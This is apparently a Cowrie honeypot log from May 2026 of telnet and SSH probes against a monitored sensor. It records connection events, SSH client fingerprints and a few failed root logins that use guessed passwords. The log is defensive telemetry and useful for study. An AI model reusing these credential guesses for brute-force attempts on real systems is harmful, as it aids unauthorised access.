{"eventid":"cowrie.session.closed","duration":32.8081431388855,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:01.753506Z","src_ip":"24.199.85.165","session":"a8acc6d9b842","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":43016,"dst_ip":"10.17.0.5","dst_port":23,"session":"27f65592e324","protocol":"telnet","message":"New connection: 24.199.85.165:43016 (10.17.0.5:23) [session: 27f65592e324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:08.325326Z"}
{"eventid":"cowrie.session.closed","duration":30.775835275650024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:12.267921Z","src_ip":"24.199.85.165","session":"54338d4530de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":60290,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d96a0c580c0","protocol":"telnet","message":"New connection: 24.199.85.165:60290 (10.17.0.5:23) [session: 4d96a0c580c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:15.162502Z"}
{"eventid":"cowrie.session.closed","duration":35.59647750854492,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:17.572558Z","src_ip":"24.199.85.165","session":"036c79717354","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.16422724723816,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:17.585254Z","src_ip":"24.199.85.165","session":"ea3eb51f2651","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.38512659072876,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:18.611039Z","src_ip":"24.199.85.165","session":"afdfe6984d50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":60292,"dst_ip":"10.17.0.5","dst_port":23,"session":"2672a4f7494b","protocol":"telnet","message":"New connection: 24.199.85.165:60292 (10.17.0.5:23) [session: 2672a4f7494b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:21.357638Z"}
{"eventid":"cowrie.session.closed","duration":31.462502002716064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:29.638076Z","src_ip":"24.199.85.165","session":"f92c8d990e53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.061930418014526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:29.879681Z","src_ip":"24.199.85.165","session":"cab8a5fdb348","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":36180,"dst_ip":"10.17.0.5","dst_port":23,"session":"9336c64b9618","protocol":"telnet","message":"New connection: 24.199.85.165:36180 (10.17.0.5:23) [session: 9336c64b9618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:31.859170Z"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":34055,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9377e2436c9","protocol":"ssh","message":"New connection: 121.122.119.48:34055 (159.203.135.109:22) [session: c9377e2436c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:36.097877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:36.102245Z","src_ip":"121.122.119.48","session":"c9377e2436c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42602,"dst_ip":"10.17.0.5","dst_port":23,"session":"f147e568a5ca","protocol":"telnet","message":"New connection: 24.199.85.165:42602 (10.17.0.5:23) [session: f147e568a5ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:36.234576Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:36.343344Z","src_ip":"121.122.119.48","session":"c9377e2436c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42614,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e317f0e06eb","protocol":"telnet","message":"New connection: 24.199.85.165:42614 (10.17.0.5:23) [session: 6e317f0e06eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:36.380879Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42622,"dst_ip":"10.17.0.5","dst_port":23,"session":"a13d03a76179","protocol":"telnet","message":"New connection: 24.199.85.165:42622 (10.17.0.5:23) [session: a13d03a76179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:36.416381Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"testserver","message":"login attempt [root/testserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:37.340359Z","src_ip":"121.122.119.48","session":"c9377e2436c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:38.586182Z","src_ip":"121.122.119.48","session":"c9377e2436c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42638,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb17d5627f2b","protocol":"telnet","message":"New connection: 24.199.85.165:42638 (10.17.0.5:23) [session: fb17d5627f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:40.466360Z"}
{"eventid":"cowrie.session.closed","duration":32.73935127258301,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:41.064481Z","src_ip":"24.199.85.165","session":"27f65592e324","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42652,"dst_ip":"10.17.0.5","dst_port":23,"session":"79752c023acf","protocol":"telnet","message":"New connection: 24.199.85.165:42652 (10.17.0.5:23) [session: 79752c023acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:42.078482Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42654,"dst_ip":"10.17.0.5","dst_port":23,"session":"615884681b95","protocol":"telnet","message":"New connection: 24.199.85.165:42654 (10.17.0.5:23) [session: 615884681b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:42.389794Z"}
{"eventid":"cowrie.session.closed","duration":32.34917664527893,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:47.511590Z","src_ip":"24.199.85.165","session":"4d96a0c580c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":39508,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c9b7cb78c15","protocol":"telnet","message":"New connection: 24.199.85.165:39508 (10.17.0.5:23) [session: 6c9b7cb78c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:50.385614Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":39502,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a46cf45e4dd","protocol":"telnet","message":"New connection: 24.199.85.165:39502 (10.17.0.5:23) [session: 3a46cf45e4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:53.920716Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":39518,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb62b955a71b","protocol":"telnet","message":"New connection: 24.199.85.165:39518 (10.17.0.5:23) [session: eb62b955a71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:57.634615Z"}
{"eventid":"cowrie.session.closed","duration":38.32522130012512,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:45:59.682735Z","src_ip":"24.199.85.165","session":"2672a4f7494b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":39184,"dst_ip":"10.17.0.5","dst_port":23,"session":"a918b29e1a41","protocol":"telnet","message":"New connection: 24.199.85.165:39184 (10.17.0.5:23) [session: a918b29e1a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:03.344206Z"}
{"eventid":"cowrie.session.closed","duration":33.0759813785553,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:04.935014Z","src_ip":"24.199.85.165","session":"9336c64b9618","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57554340362549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:07.991797Z","src_ip":"24.199.85.165","session":"a13d03a76179","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.70224475860596,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:09.936687Z","src_ip":"24.199.85.165","session":"f147e568a5ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.74081468582153,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:10.121602Z","src_ip":"24.199.85.165","session":"6e317f0e06eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.491907119750977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:11.958102Z","src_ip":"24.199.85.165","session":"fb17d5627f2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.421875476837158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:13.500268Z","src_ip":"24.199.85.165","session":"79752c023acf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.800071954727173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:14.189742Z","src_ip":"24.199.85.165","session":"615884681b95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47148,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7c687137fc6","protocol":"telnet","message":"New connection: 24.199.85.165:47148 (10.17.0.5:23) [session: e7c687137fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:15.235748Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47150,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7399c7f95c1","protocol":"telnet","message":"New connection: 24.199.85.165:47150 (10.17.0.5:23) [session: a7399c7f95c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:20.130748Z"}
{"eventid":"cowrie.session.closed","duration":31.52797770500183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:21.913448Z","src_ip":"24.199.85.165","session":"6c9b7cb78c15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.640069723129272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:24.560672Z","src_ip":"24.199.85.165","session":"3a46cf45e4dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":54850,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e7f6f830dcf","protocol":"telnet","message":"New connection: 24.199.85.165:54850 (10.17.0.5:23) [session: 9e7f6f830dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:29.622605Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":54866,"dst_ip":"10.17.0.5","dst_port":23,"session":"97264a1e2833","protocol":"telnet","message":"New connection: 24.199.85.165:54866 (10.17.0.5:23) [session: 97264a1e2833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:30.957326Z"}
{"eventid":"cowrie.session.closed","duration":33.34002351760864,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:30.974514Z","src_ip":"24.199.85.165","session":"eb62b955a71b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":42750,"dst_ip":"159.203.135.109","dst_port":23,"session":"c52824f3ae9b","protocol":"telnet","message":"New connection: 185.26.126.47:42750 (159.203.135.109:23) [session: c52824f3ae9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:36.311205Z"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":42981,"dst_ip":"159.203.135.109","dst_port":22,"session":"f49f1f855566","protocol":"ssh","message":"New connection: 121.122.119.48:42981 (159.203.135.109:22) [session: f49f1f855566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:36.316625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:36.321250Z","src_ip":"121.122.119.48","session":"f49f1f855566","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:36.560260Z","src_ip":"121.122.119.48","session":"f49f1f855566","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin12!@","message":"login attempt [root/Admin12!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:37.546602Z","src_ip":"121.122.119.48","session":"f49f1f855566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.82962441444397,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:38.173707Z","src_ip":"24.199.85.165","session":"a918b29e1a41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:38.788346Z","src_ip":"121.122.119.48","session":"f49f1f855566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.71864461898804,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:47.954285Z","src_ip":"24.199.85.165","session":"e7c687137fc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":55996,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cd46133e7c4","protocol":"telnet","message":"New connection: 24.199.85.165:55996 (10.17.0.5:23) [session: 2cd46133e7c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:49.965716Z"}
{"eventid":"cowrie.session.closed","duration":31.73300528526306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:51.863605Z","src_ip":"24.199.85.165","session":"a7399c7f95c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":37934,"dst_ip":"10.17.0.5","dst_port":23,"session":"6844f30c6425","protocol":"telnet","message":"New connection: 24.199.85.165:37934 (10.17.0.5:23) [session: 6844f30c6425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:58.534674Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":37940,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d620bbc5e25","protocol":"telnet","message":"New connection: 24.199.85.165:37940 (10.17.0.5:23) [session: 1d620bbc5e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:58.638558Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":37942,"dst_ip":"10.17.0.5","dst_port":23,"session":"808e698d5bdf","protocol":"telnet","message":"New connection: 24.199.85.165:37942 (10.17.0.5:23) [session: 808e698d5bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:59.054823Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":37954,"dst_ip":"10.17.0.5","dst_port":23,"session":"588c2a2d763c","protocol":"telnet","message":"New connection: 24.199.85.165:37954 (10.17.0.5:23) [session: 588c2a2d763c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:46:59.945649Z"}
{"eventid":"cowrie.session.closed","duration":31.278262853622437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:00.900743Z","src_ip":"24.199.85.165","session":"9e7f6f830dcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44782066345215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:02.404831Z","src_ip":"24.199.85.165","session":"97264a1e2833","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":60420,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad1256818eb7","protocol":"telnet","message":"New connection: 24.199.85.165:60420 (10.17.0.5:23) [session: ad1256818eb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:06.058816Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":60066,"dst_ip":"10.17.0.5","dst_port":23,"session":"d698b29c56f8","protocol":"telnet","message":"New connection: 24.199.85.165:60066 (10.17.0.5:23) [session: d698b29c56f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:20.908837Z"}
{"eventid":"cowrie.session.closed","duration":32.10083866119385,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:22.066469Z","src_ip":"24.199.85.165","session":"2cd46133e7c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.354769229888916,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:23.665848Z","src_ip":"185.26.126.47","session":"c52824f3ae9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.169997692108154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:29.704544Z","src_ip":"24.199.85.165","session":"6844f30c6425","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.23389005661011,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:30.872349Z","src_ip":"24.199.85.165","session":"1d620bbc5e25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.28364181518555,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:33.338396Z","src_ip":"24.199.85.165","session":"808e698d5bdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42880,"dst_ip":"10.17.0.5","dst_port":23,"session":"54bc3872433f","protocol":"telnet","message":"New connection: 24.199.85.165:42880 (10.17.0.5:23) [session: 54bc3872433f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:33.485469Z"}
{"eventid":"cowrie.session.closed","duration":35.034892559051514,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:34.980395Z","src_ip":"24.199.85.165","session":"588c2a2d763c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.86560297012329,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:38.924300Z","src_ip":"24.199.85.165","session":"ad1256818eb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":51916,"dst_ip":"159.203.135.109","dst_port":22,"session":"58e5451f1b48","protocol":"ssh","message":"New connection: 121.122.119.48:51916 (159.203.135.109:22) [session: 58e5451f1b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:40.261913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:47:40.266911Z","src_ip":"121.122.119.48","session":"58e5451f1b48","protocol":"ssh"}
